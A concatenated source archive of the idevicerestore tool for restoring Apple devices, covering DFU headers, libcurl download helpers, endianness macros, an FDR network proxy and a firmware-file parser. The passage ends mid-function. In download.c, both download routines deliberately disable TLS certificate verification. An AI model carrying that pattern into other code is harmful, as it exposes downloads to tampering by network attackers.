* dfu.h * Functions for handling idevices in DFU mode * * Copyright (c) 2010-2013 Martin Szulecki. All Rights Reserved. * Copyright (c) 2012-2015 Nikias Bassen. All Rights Reserved. * Copyright (c) 2010 Joshua Hill. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef IDEVICERESTORE_DFU_H #define IDEVICERESTORE_DFU_H #ifdef __cplusplus extern "C" { #endif #include #include "common.h" struct dfu_client_t { irecv_client_t client; const char* ipsw; plist_t tss; }; int dfu_client_new(struct idevicerestore_client_t* client); void dfu_client_free(struct idevicerestore_client_t* client); irecv_device_t dfu_get_irecv_device(struct idevicerestore_client_t* client); int dfu_send_buffer(struct idevicerestore_client_t* client, unsigned char* buffer, unsigned int size); int dfu_send_buffer_with_options(struct idevicerestore_client_t* client, unsigned char* buffer, unsigned int size, unsigned int irecv_options); int dfu_send_component(struct idevicerestore_client_t* client, plist_t build_identity, const char* component); int dfu_get_bdid(struct idevicerestore_client_t* client, unsigned int* bdid); int dfu_get_cpid(struct idevicerestore_client_t* client, unsigned int* cpid); int dfu_get_prev(struct idevicerestore_client_t* client, unsigned int* prev); int dfu_is_image4_supported(struct idevicerestore_client_t* client); int dfu_get_portdfu_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size); int dfu_get_ap_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size); int dfu_get_sep_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size); int dfu_enter_recovery(struct idevicerestore_client_t* client, plist_t build_identity); #ifdef __cplusplus } #endif #endif idevicerestore-master/src/download.c000066400000000000000000000104171464320324600201340ustar00rootroot00000000000000/* * download.c * file download helper functions * * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved. * Copyright (c) 2012-2013 Martin Szulecki. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include #include #include #include #include "download.h" #include "common.h" typedef struct { int length; char* content; } curl_response; static size_t download_write_buffer_callback(char* data, size_t size, size_t nmemb, curl_response* response) { size_t total = size * nmemb; if (total != 0) { response->content = realloc(response->content, response->length + total + 1); memcpy(response->content + response->length, data, total); response->content[response->length + total] = '\0'; response->length += total; } return total; } int download_to_buffer(const char* url, char** buf, uint32_t* length) { int res = 0; CURL* handle = curl_easy_init(); if (handle == NULL) { error("ERROR: could not initialize CURL\n"); return -1; } curl_response response; response.length = 0; response.content = malloc(1); response.content[0] = '\0'; if (idevicerestore_debug) curl_easy_setopt(handle, CURLOPT_VERBOSE, 1); /* disable SSL verification to allow download from untrusted https locations */ curl_easy_setopt(handle, CURLOPT_SSL_VERIFYPEER, 0); curl_easy_setopt(handle, CURLOPT_WRITEFUNCTION, (curl_write_callback)&download_write_buffer_callback); curl_easy_setopt(handle, CURLOPT_WRITEDATA, &response); if (strncmp(url, "https://api.ipsw.me/", 20) == 0) { curl_easy_setopt(handle, CURLOPT_USERAGENT, USER_AGENT_STRING " idevicerestore/" PACKAGE_VERSION); } else { curl_easy_setopt(handle, CURLOPT_USERAGENT, USER_AGENT_STRING); } curl_easy_setopt(handle, CURLOPT_FOLLOWLOCATION, 1); curl_easy_setopt(handle, CURLOPT_URL, url); curl_easy_perform(handle); curl_easy_cleanup(handle); if (response.length > 0) { *length = response.length; *buf = response.content; } else { res = -1; } return res; } static int lastprogress = 0; static int download_progress(void *clientp, double dltotal, double dlnow, double ultotal, double ulnow) { double p = (dlnow / dltotal) * 100; if (p < 100.0) { if ((int)p > lastprogress) { info("downloading: %d%%\n", (int)p); lastprogress = (int)p; } } return 0; } int download_to_file(const char* url, const char* filename, int enable_progress) { int res = 0; CURL* handle = curl_easy_init(); if (handle == NULL) { error("ERROR: could not initialize CURL\n"); return -1; } FILE* f = fopen(filename, "wb"); if (!f) { error("ERROR: cannot open '%s' for writing\n", filename); return -1; } lastprogress = 0; if (idevicerestore_debug) curl_easy_setopt(handle, CURLOPT_VERBOSE, 1); /* disable SSL verification to allow download from untrusted https locations */ curl_easy_setopt(handle, CURLOPT_SSL_VERIFYPEER, 0); curl_easy_setopt(handle, CURLOPT_WRITEFUNCTION, NULL); curl_easy_setopt(handle, CURLOPT_WRITEDATA, f); if (enable_progress > 0) curl_easy_setopt(handle, CURLOPT_PROGRESSFUNCTION, (curl_progress_callback)&download_progress); curl_easy_setopt(handle, CURLOPT_NOPROGRESS, enable_progress > 0 ? 0: 1); curl_easy_setopt(handle, CURLOPT_USERAGENT, USER_AGENT_STRING); curl_easy_setopt(handle, CURLOPT_FOLLOWLOCATION, 1); curl_easy_setopt(handle, CURLOPT_URL, url); curl_easy_perform(handle); curl_easy_cleanup(handle); #ifdef WIN32 fflush(f); uint64_t sz = _lseeki64(fileno(f), 0, SEEK_CUR); #else off_t sz = ftello(f); #endif fclose(f); if ((sz == 0) || ((int64_t)sz == (int64_t)-1)) { res = -1; remove(filename); } return res; } idevicerestore-master/src/download.h000066400000000000000000000023461464320324600201430ustar00rootroot00000000000000/* * download.h * file download helper functions (header file) * * Copyright (c) 2012 Martin Szulecki. All Rights Reserved. * Copyright (c) 2012 Nikias Bassen. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef IDEVICERESTORE_DOWNLOAD_H #define IDEVICERESTORE_DOWNLOAD_H #ifdef __cplusplus extern "C" { #endif #include int download_to_buffer(const char* url, char** buf, uint32_t* length); int download_to_file(const char* url, const char* filename, int enable_progress); #ifdef __cplusplus } #endif #endif idevicerestore-master/src/endianness.h000066400000000000000000000041121464320324600204540ustar00rootroot00000000000000#ifndef ENDIANNESS_H #define ENDIANNESS_H #ifndef __LITTLE_ENDIAN #define __LITTLE_ENDIAN 1234 #endif #ifndef __BIG_ENDIAN #define __BIG_ENDIAN 4321 #endif #ifndef __BYTE_ORDER #ifdef __LITTLE_ENDIAN__ #define __BYTE_ORDER __LITTLE_ENDIAN #else #ifdef __BIG_ENDIAN__ #define __BYTE_ORDER __BIG_ENDIAN #endif #endif #endif #ifndef be16toh #if __BYTE_ORDER == __BIG_ENDIAN #define be16toh(x) (x) #else #define be16toh(x) ((((x) & 0xFF00) >> 8) | (((x) & 0x00FF) << 8)) #endif #endif #ifndef le16toh #if __BYTE_ORDER == __BIG_ENDIAN #define le16toh(x) ((((x) & 0xFF00) >> 8) | (((x) & 0x00FF) << 8)) #else #define le16toh(x) (x) #endif #endif #ifndef __bswap_32 #define __bswap_32(x) ((((x) & 0xFF000000) >> 24) \ | (((x) & 0x00FF0000) >> 8) \ | (((x) & 0x0000FF00) << 8) \ | (((x) & 0x000000FF) << 24)) #endif #ifndef be32toh #if __BYTE_ORDER == __BIG_ENDIAN #define be32toh(x) (x) #else #define be32toh(x) __bswap_32(x) #endif #endif #ifndef htobe32 #define htobe32 be32toh #endif #ifndef le32toh #if __BYTE_ORDER == __BIG_ENDIAN #define le32toh(x) __bswap_32(x) #else #define le32toh(x) (x) #endif #endif #ifndef htole32 #define htole32 le32toh #endif #ifndef __bswap_64 #define __bswap_64(x) ((((x) & 0xFF00000000000000ull) >> 56) \ | (((x) & 0x00FF000000000000ull) >> 40) \ | (((x) & 0x0000FF0000000000ull) >> 24) \ | (((x) & 0x000000FF00000000ull) >> 8) \ | (((x) & 0x00000000FF000000ull) << 8) \ | (((x) & 0x0000000000FF0000ull) << 24) \ | (((x) & 0x000000000000FF00ull) << 40) \ | (((x) & 0x00000000000000FFull) << 56)) #endif #ifndef htobe64 #if __BYTE_ORDER == __BIG_ENDIAN #define htobe64(x) (x) #else #define htobe64(x) __bswap_64(x) #endif #endif #ifndef be64toh #define be64toh htobe64 #endif #ifndef le64toh #if __BYTE_ORDER == __LITTLE_ENDIAN #define le64toh(x) (x) #else #define le64toh(x) __bswap_64(x) #endif #endif #ifndef htole64 #define htole64 le64toh #endif #endif /* ENDIANNESS_H */ idevicerestore-master/src/fdr.c000066400000000000000000000407771464320324600171140ustar00rootroot00000000000000/* * fdr.c * Connection proxy service used by FDR * * Copyright (c) 2014 BALATON Zoltan. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include #include #include #include #include #include #include #include #include #include #include "common.h" #include "idevicerestore.h" #include "fdr.h" #include /* from libimobiledevice */ #define CTRL_PORT 0x43a /*1082*/ #define CTRLCMD "BeginCtrl" #define HELLOCTRLCMD "HelloCtrl" #define HELLOCMD "HelloConn" #define FDR_SYNC_MSG 0x1 #define FDR_PROXY_MSG 0x105 #define FDR_PLIST_MSG 0xbbaa static uint64_t conn_port; static int ctrlprotoversion = 2; static int serial; static int fdr_receive_plist(fdr_client_t fdr, plist_t* data); static int fdr_send_plist(fdr_client_t fdr, plist_t data); static int fdr_ctrl_handshake(fdr_client_t fdr); static int fdr_sync_handshake(fdr_client_t fdr); static int fdr_handle_sync_cmd(fdr_client_t fdr); static int fdr_handle_plist_cmd(fdr_client_t fdr); static int fdr_handle_proxy_cmd(fdr_client_t fdr); int fdr_connect(idevice_t device, fdr_type_t type, fdr_client_t* fdr) { int res = -1, i = 0; int attempts = 10; idevice_connection_t connection = NULL; idevice_error_t device_error = IDEVICE_E_SUCCESS; uint16_t port = (type == FDR_CONN ? conn_port : CTRL_PORT); *fdr = NULL; debug("Connecting to FDR client at port %u\n", port); for (i = 1; i <= attempts; i++) { device_error = idevice_connect(device, port, &connection); if (device_error == IDEVICE_E_SUCCESS) { break; } if (i >= attempts) { error("ERROR: Unable to connect to FDR client (%d)\n", device_error); return -1; } sleep(2); debug("Retrying connection...\n"); } fdr_client_t fdr_loc = calloc(1, sizeof(struct fdr_client)); if (!fdr_loc) { error("ERROR: Unable to allocate memory\n"); return -1; } fdr_loc->connection = connection; fdr_loc->device = device; fdr_loc->type = type; /* Do handshake */ if (type == FDR_CTRL) res = fdr_ctrl_handshake(fdr_loc); else if (type == FDR_CONN) res = fdr_sync_handshake(fdr_loc); if (res) { fdr_free(fdr_loc); return -1; } *fdr = fdr_loc; return 0; } void fdr_disconnect(fdr_client_t fdr) { if (!fdr) return; if (fdr->connection) { idevice_connection_t conn = fdr->connection; fdr->connection = NULL; idevice_disconnect(conn); } } void fdr_free(fdr_client_t fdr) { if (!fdr) return; fdr_disconnect(fdr); free(fdr); fdr = NULL; } int fdr_poll_and_handle_message(fdr_client_t fdr) { idevice_error_t device_error = IDEVICE_E_SUCCESS; uint32_t bytes = 0; uint16_t cmd; if (!fdr) { error("ERROR: Invalid FDR client\n"); return -1; } device_error = idevice_connection_receive_timeout(fdr->connection, (char *)&cmd, sizeof(cmd), &bytes, 20000); #ifdef HAVE_IDEVICE_E_TIMEOUT if (device_error == IDEVICE_E_TIMEOUT || (device_error == IDEVICE_E_SUCCESS && bytes != sizeof(cmd))) #else if (device_error == IDEVICE_E_SUCCESS && bytes != sizeof(cmd)) #endif { debug("FDR %p timeout waiting for command\n", fdr); return 0; } else if (device_error != IDEVICE_E_SUCCESS) { if (fdr->connection) { error("ERROR: Unable to receive message from FDR %p (%d). %u/%u bytes\n", fdr, device_error, bytes, (uint32_t)sizeof(cmd)); } return -1; } if (cmd == FDR_SYNC_MSG) { debug("FDR %p got sync message\n", fdr); return fdr_handle_sync_cmd(fdr); } if (cmd == FDR_PROXY_MSG) { debug("FDR %p got proxy message\n", fdr); return fdr_handle_proxy_cmd(fdr); } if (cmd == FDR_PLIST_MSG) { debug("FDR %p got plist message\n", fdr); return fdr_handle_plist_cmd(fdr); } error("WARNING: FDR %p received unknown packet %#x of size %u\n", fdr, cmd, bytes); return 0; } void *fdr_listener_thread(void *cdata) { fdr_client_t fdr = cdata; int res; while (fdr && fdr->connection) { debug("FDR %p waiting for message...\n", fdr); res = fdr_poll_and_handle_message(fdr); if (fdr->type == FDR_CTRL && res >= 0) continue; // main thread should always retry if (res != 0) break; } debug("FDR %p terminating...\n", fdr); fdr_free(fdr); return (void *)(intptr_t)res; } static int fdr_receive_plist(fdr_client_t fdr, plist_t* data) { idevice_error_t device_error = IDEVICE_E_SUCCESS; uint32_t len, bytes = 0; char* buf = NULL; device_error = idevice_connection_receive(fdr->connection, (char*)&len, sizeof(len), &bytes); if (device_error != IDEVICE_E_SUCCESS) { error("ERROR: Unable to receive packet length from FDR (%d)\n", device_error); return -1; } buf = calloc(1, len); if (!buf) { error("ERROR: Unable to allocate memory for FDR receive buffer\n"); return -1; } device_error = idevice_connection_receive(fdr->connection, buf, len, &bytes); if (device_error != IDEVICE_E_SUCCESS) { error("ERROR: Unable to receive data from FDR\n"); free(buf); return -1; } plist_from_bin(buf, bytes, data); free(buf); debug("FDR Received %d bytes\n", bytes); return 0; } static int fdr_send_plist(fdr_client_t fdr, plist_t data) { idevice_error_t device_error = IDEVICE_E_SUCCESS; char *buf = NULL; uint32_t len = 0, bytes = 0; if (!data) return -1; plist_to_bin(data, &buf, &len); if (!buf) return -1; debug("FDR sending %d bytes:\n", len); if (idevicerestore_debug) debug_plist(data); device_error = idevice_connection_send(fdr->connection, (char *)&len, sizeof(len), &bytes); if (device_error != IDEVICE_E_SUCCESS || bytes != sizeof(len)) { error("ERROR: FDR unable to send data length. (%d) Sent %u of %u bytes.\n", device_error, bytes, (uint32_t)sizeof(len)); free(buf); return -1; } device_error = idevice_connection_send(fdr->connection, buf, len, &bytes); free(buf); if (device_error != IDEVICE_E_SUCCESS || bytes != len) { error("ERROR: FDR unable to send data (%d). Sent %u of %u bytes.\n", device_error, bytes, len); return -1; } debug("FDR Sent %d bytes\n", bytes); return 0; } static int fdr_ctrl_handshake(fdr_client_t fdr) { idevice_error_t device_error = IDEVICE_E_SUCCESS; uint32_t bytes = 0, len = sizeof(CTRLCMD); plist_t dict, node; int res; debug("About to do ctrl handshake\n"); ctrlprotoversion = 2; device_error = idevice_connection_send(fdr->connection, CTRLCMD, len, &bytes); if (device_error != IDEVICE_E_SUCCESS || bytes != len) { debug("Hmm... looks like the device doesn't like the newer protocol, using the old one\n"); ctrlprotoversion = 1; len = sizeof(HELLOCTRLCMD); device_error = idevice_connection_send(fdr->connection, HELLOCTRLCMD, len, &bytes); if (device_error != IDEVICE_E_SUCCESS || bytes != len) { error("ERROR: FDR unable to send BeginCtrl. Sent %u of %u bytes.\n", bytes, len); return -1; } } if (ctrlprotoversion == 2) { dict = plist_new_dict(); plist_dict_set_item(dict, "Command", plist_new_string(CTRLCMD)); plist_dict_set_item(dict, "CtrlProtoVersion", plist_new_uint(ctrlprotoversion)); res = fdr_send_plist(fdr, dict); plist_free(dict); if (res) { error("ERROR: FDR could not send Begin command.\n"); return -1; } if (fdr_receive_plist(fdr, &dict)) { error("ERROR: FDR did not get Begin command reply.\n"); return -1; } if (idevicerestore_debug) debug_plist(dict); node = plist_dict_get_item(dict, "ConnPort"); if (node && plist_get_node_type(node) == PLIST_UINT) { plist_get_uint_val(node, &conn_port); } else { error("ERROR: Could not get FDR ConnPort value\n"); return -1; } plist_free(dict); } else { char buf[16]; uint16_t cport = 0; memset(buf, '\0', sizeof(buf)); bytes = 0; device_error = idevice_connection_receive(fdr->connection, buf, 10, &bytes); if (device_error != IDEVICE_E_SUCCESS) { error("ERROR: Could not receive reply to HelloCtrl command\n"); return -1; } if (memcmp(buf, "HelloCtrl", 10) != 0) { buf[9] = '\0'; error("ERROR: Did not receive HelloCtrl as reply, but %s\n", buf); return -1; } bytes = 0; device_error = idevice_connection_receive(fdr->connection, (char*)&cport, 2, &bytes); if (device_error != IDEVICE_E_SUCCESS) { error("ERROR: Failed to receive conn port\n"); return -1; } conn_port = le16toh(cport); } debug("Ctrl handshake done (ConnPort = %" PRIu64 ")\n", (uint64_t)conn_port); return 0; } static int fdr_sync_handshake(fdr_client_t fdr) { idevice_error_t device_error = IDEVICE_E_SUCCESS; uint32_t bytes = 0, len = sizeof(HELLOCMD); plist_t reply; device_error = idevice_connection_send(fdr->connection, HELLOCMD, len, &bytes); if (device_error != IDEVICE_E_SUCCESS || bytes != len) { error("ERROR: FDR unable to send Hello. Sent %u of %u bytes.\n", bytes, len); return -1; } if (ctrlprotoversion == 2) { if (fdr_receive_plist(fdr, &reply)) { error("ERROR: FDR did not get HelloConn reply.\n"); return -1; } char* identifier = NULL; char* cmd = NULL; plist_t node = NULL; node = plist_dict_get_item(reply, "Command"); if (node) { plist_get_string_val(node, &cmd); } node = plist_dict_get_item(reply, "Identifier"); if (node) { plist_get_string_val(node, &identifier); } plist_free(reply); if (!cmd || (strcmp(cmd, "HelloConn") != 0)) { if (cmd) { free(cmd); } if (identifier) { free(identifier); } error("ERROR: Did not receive HelloConn reply...\n"); return -1; } free(cmd); if (identifier) { debug("Got device identifier %s\n", identifier); free(identifier); } } else { char buf[16]; memset(buf, '\0', sizeof(buf)); bytes = 0; device_error = idevice_connection_receive(fdr->connection, buf, 10, &bytes); if (device_error != IDEVICE_E_SUCCESS) { error("ERROR: Could not receive reply to HelloConn command\n"); return -1; } if (memcmp(buf, "HelloConn", 10) != 0) { buf[9] = '\0'; error("ERROR: Did not receive HelloConn as reply, but %s\n", buf); return -1; } } return 0; } static int fdr_handle_sync_cmd(fdr_client_t fdr_ctrl) { idevice_error_t device_error = IDEVICE_E_SUCCESS; fdr_client_t fdr; THREAD_T fdr_thread = THREAD_T_NULL; int res = 0; uint32_t bytes = 0; char buf[4096]; device_error = idevice_connection_receive(fdr_ctrl->connection, buf, sizeof(buf), &bytes); if (device_error != IDEVICE_E_SUCCESS || bytes != 2) { error("ERROR: Unexpected data from FDR\n"); return -1; } /* Open a new connection and wait for messages on it */ if (fdr_connect(fdr_ctrl->device, FDR_CONN, &fdr)) { error("ERROR: Failed to connect to FDR port\n"); return -1; } debug("FDR connected in reply to sync message, starting command thread\n"); res = thread_new(&fdr_thread, fdr_listener_thread, fdr); if(res) { error("ERROR: Failed to start FDR command thread\n"); fdr_free(fdr); } return res; } static int fdr_handle_plist_cmd(fdr_client_t fdr) { int res = 0; plist_t dict; if (fdr_receive_plist(fdr, &dict)) { error("ERROR: FDR %p could not receive plist command.\n", fdr); return -1; } plist_t node = plist_dict_get_item(dict, "Command"); if (!node || (plist_get_node_type(node) != PLIST_STRING)) { error("ERROR: FDR %p Could not find Command in plist command\n", fdr); plist_free(dict); return -1; } char *command = NULL; plist_get_string_val(node, &command); plist_free(dict); if (!command) { info("FDR %p received empty plist command\n", fdr); return -1; } if (!strcmp(command, "Ping")) { dict = plist_new_dict(); plist_dict_set_item(dict, "Pong", plist_new_bool(1)); res = fdr_send_plist(fdr, dict); plist_free(dict); if (res) { error("ERROR: FDR %p could not send Ping command reply.\n", fdr); free(command); return -1; } } else { error("WARNING: FDR %p received unknown plist command: %s\n", fdr, command); free(command); return -1; } free(command); /* FDR connection will be terminated remotely. Next receive will get nothing, error and terminate this worker thread. */ return 0; } static int fdr_handle_proxy_cmd(fdr_client_t fdr) { idevice_error_t device_error = IDEVICE_E_SUCCESS; char *buf = NULL; size_t bufsize = 1048576; uint32_t sent = 0, bytes = 0; char *host = NULL; uint16_t port = 0; buf = malloc(bufsize); if (!buf) { error("ERROR: %s: malloc failed\n", __func__); return -1; } device_error = idevice_connection_receive(fdr->connection, buf, bufsize, &bytes); if (device_error != IDEVICE_E_SUCCESS) { free(buf); error("ERROR: FDR %p failed to read data for proxy command\n", fdr); return -1; } debug("Got proxy command with %u bytes\n", bytes); /* Just return success here unconditionally because we don't know * anything else and we will eventually abort on failure anyway */ uint16_t ack = 5; device_error = idevice_connection_send(fdr->connection, (char *)&ack, sizeof(ack), &sent); if (device_error != IDEVICE_E_SUCCESS || sent != sizeof(ack)) { free(buf); error("ERROR: FDR %p unable to send ack. Sent %u of %u bytes.\n", fdr, sent, (uint32_t)sizeof(ack)); return -1; } if (bytes < 3) { debug("FDR %p proxy command data too short, retrying\n", fdr); return fdr_poll_and_handle_message(fdr); } /* ack command data too */ device_error = idevice_connection_send(fdr->connection, buf, bytes, &sent); if (device_error != IDEVICE_E_SUCCESS || sent != bytes) { free(buf); error("ERROR: FDR %p unable to send data. Sent %u of %u bytes.\n", fdr, sent, bytes); return -1; } /* Now try to handle actual messages */ /* Connect: 0 3 hostlen */ if (buf[0] == 0 && buf[1] == 3) { uint16_t *p = (uint16_t *)&buf[bytes - 2]; port = be16toh(*p); buf[bytes - 2] = '\0'; host = strdup(&buf[3]); debug("FDR %p Proxy connect request to %s:%u\n", fdr, host, port); } if (!host || !buf[2]) { /* missing or zero length host name */ free(buf); return 0; } /* else wait for messages and forward them */ int sockfd = socket_connect(host, port); free(host); if (sockfd < 0) { free(buf); error("ERROR: Failed to connect socket: %s\n", strerror(errno)); return -1; } int res = 0, bytes_ret; while (1) { bytes = 0; device_error = idevice_connection_receive_timeout(fdr->connection, buf, bufsize, &bytes, 100); #ifdef HAVE_IDEVICE_E_TIMEOUT if (device_error == IDEVICE_E_TIMEOUT || (device_error == IDEVICE_E_SUCCESS && !bytes)) #else if (device_error == IDEVICE_E_SUCCESS && !bytes) #endif { //debug("WARNING: Timeout waiting for proxy payload. %p\n", fdr); } else if (device_error != IDEVICE_E_SUCCESS) { error("ERROR: FDR %p Unable to receive proxy payload (%d)\n", fdr, device_error); res = -1; break; } if (bytes) { debug("FDR %p got payload of %u bytes, now trying to proxy it\n", fdr, bytes); debug("Sending %u bytes of data\n", bytes); sent = 0; while (sent < bytes) { int s = socket_send(sockfd, buf + sent, bytes - sent); if (s < 0) { break; } sent += s; } if (sent != bytes) { error("ERROR: Sending proxy payload failed: %s. Sent %u of %u bytes. \n", strerror(errno), sent, bytes); socket_close(sockfd); res = -1; break; } } bytes_ret = socket_receive_timeout(sockfd, buf, bufsize, 0, 100); if (bytes_ret == -ETIMEDOUT) { bytes_ret = 0; } else if (bytes_ret == -ECONNRESET) { res = 1; break; } else if (bytes_ret < 0) { error("ERROR: FDR %p receiving proxy payload failed: %d (%s)\n", fdr, bytes_ret, strerror(-bytes_ret)); break; } bytes = bytes_ret; if (bytes) { debug("FDR %p Received %u bytes reply data,%s sending to device\n", fdr, bytes, (bytes ? "" : " not")); sent = 0; while (sent < bytes) { uint32_t s; device_error = idevice_connection_send(fdr->connection, buf + sent, bytes - sent, &s); if (device_error != IDEVICE_E_SUCCESS) { break; } sent += s; } if (device_error != IDEVICE_E_SUCCESS || bytes != sent) { error("ERROR: FDR %p unable to send data (%d). Sent %u of %u bytes.\n", fdr, device_error, sent, bytes); res = -1; break; } } else serial++; } socket_close(sockfd); free(buf); return res; } idevicerestore-master/src/fdr.h000066400000000000000000000026761464320324600171150ustar00rootroot00000000000000/* * fdr.h * Functions for handling FDR connections * * Copyright (c) 2014 BALATON Zoltan. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef IDEVICERESTORE_FDR_H #define IDEVICERESTORE_FDR_H #ifdef __cplusplus extern "C" { #endif #include typedef enum { FDR_CTRL, FDR_CONN } fdr_type_t; struct fdr_client { idevice_connection_t connection; idevice_t device; fdr_type_t type; }; typedef struct fdr_client *fdr_client_t; int fdr_connect(idevice_t device, fdr_type_t type, fdr_client_t *fdr); void fdr_disconnect(fdr_client_t fdr); void fdr_free(fdr_client_t fdr); int fdr_poll_and_handle_message(fdr_client_t fdr); void *fdr_listener_thread(void *cdata); #ifdef __cplusplus } #endif #endif idevicerestore-master/src/fls.c000066400000000000000000000243371464320324600171170ustar00rootroot00000000000000/* * fls.c * support for .fls file format (found in .bbfw files) * * Copyright (c) 2012 Nikias Bassen. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include #include #include #include "fls.h" #include "common.h" #ifndef offsetof #define offsetof(type, member) __builtin_offsetof (type, member) #endif static void fls_parse_elements(fls_file* fls) { /* FIXME: the following code is not big endian safe */ if (!fls || !fls->data) { return; } uint32_t offset = 0; fls->max_elements = 32; fls->elements = (fls_element**)malloc(sizeof(fls_element*) * fls->max_elements); fls_element* cur = NULL; do { void* p = fls->data + offset; uint32_t hdrsize = 0; cur = (fls_element*)p; if ((offset + cur->size) > fls->size) { break; } fls_element* ne; switch (cur->type) { case 0x0c: { hdrsize = offsetof(fls_0c_element, data); fls_0c_element* xe = (fls_0c_element*)malloc(sizeof(fls_0c_element)); memset(xe, '\0', sizeof(fls_0c_element)); memcpy((void*)xe, p, hdrsize); xe->data = (xe->size > hdrsize) ? p + hdrsize : NULL; ne = (fls_element*)xe; fls->c_element = xe; } break; case 0x10: { hdrsize = offsetof(fls_10_element, data); fls_10_element* xe = (fls_10_element*)malloc(sizeof(fls_10_element)); memset(xe, '\0', sizeof(fls_10_element)); memcpy((void*)xe, p, hdrsize); xe->data = (xe->size > hdrsize) ? p + hdrsize : NULL; ne = (fls_element*)xe; } break; case 0x14: { hdrsize = offsetof(fls_14_element, data); fls_14_element* xe = (fls_14_element*)malloc(sizeof(fls_14_element)); memset(xe, '\0', sizeof(fls_14_element)); memcpy((void*)xe, p, hdrsize); xe->data = (xe->size > hdrsize) ? p + hdrsize : NULL; ne = (fls_element*)xe; } break; default: hdrsize = offsetof(fls_element, data); ne = (fls_element*)malloc(sizeof(fls_element)); memset(ne, '\0', sizeof(fls_element)); ne->type = cur->type; ne->size = cur->size; ne->data = (ne->size > hdrsize) ? p + hdrsize : NULL; break; } if ((fls->num_elements + 1) > fls->max_elements) { fls->max_elements += 10; fls->elements = (fls_element**)realloc(fls->elements, sizeof(fls_element*) * fls->max_elements); } fls->elements[fls->num_elements++] = ne; offset += cur->size; } while (offset < fls->size); if (offset != fls->size) { error("ERROR: %s: error parsing elements\n", __func__); return; } } fls_file* fls_parse(unsigned char* data, unsigned int size) { fls_file* fls = (fls_file*)malloc(sizeof(fls_file)); if (!fls) { return NULL; } memset(fls, '\0', sizeof(fls_file)); fls->data = malloc(size); fls->size = size; memcpy(fls->data, data, size); fls_parse_elements(fls); return fls; } void fls_free(fls_file* fls) { if (fls) { if (fls->num_elements > 0) { int i; for (i = fls->num_elements-1; i >=0; i--) { free(fls->elements[i]); } free(fls->elements); } if (fls->data) { free(fls->data); } free(fls); } } int fls_update_sig_blob(fls_file* fls, const unsigned char* sigdata, unsigned int siglen) { /* FIXME: the code in this function is not big endian safe */ if (!fls || !fls->num_elements) { error("ERROR: %s: no data\n", __func__); return -1; } if (!fls->c_element) { error("ERROR: %s: no fls_0c_element in fls data\n", __func__); return -1; } uint32_t datasize = *(uint32_t*)(fls->c_element->data + 0x10); if (datasize != fls->c_element->data_size) { error("ERROR: %s: data size mismatch (0x%x != 0x%x)\n", __func__, datasize, fls->c_element->data_size); return -1; } uint32_t sigoffset = *(uint32_t*)(fls->c_element->data + 0x14); if (sigoffset > datasize) { error("ERROR: %s: signature offset greater than data size (0x%x > 0x%x)\n", __func__, sigoffset, datasize); return -1; } uint32_t oldsiglen = datasize - sigoffset; uint32_t newsize = fls->size - oldsiglen + siglen; unsigned int i; uint32_t offset = 0; void* newdata = malloc(newsize); if (!newdata) { error("ERROR: %s: out of memory\n", __func__); return -1; } uint32_t hdrsize = 0; uint32_t firstpartlen = 0; for (i = 0; i < fls->num_elements; i++) { switch (fls->elements[i]->type) { case 0x0c: hdrsize = 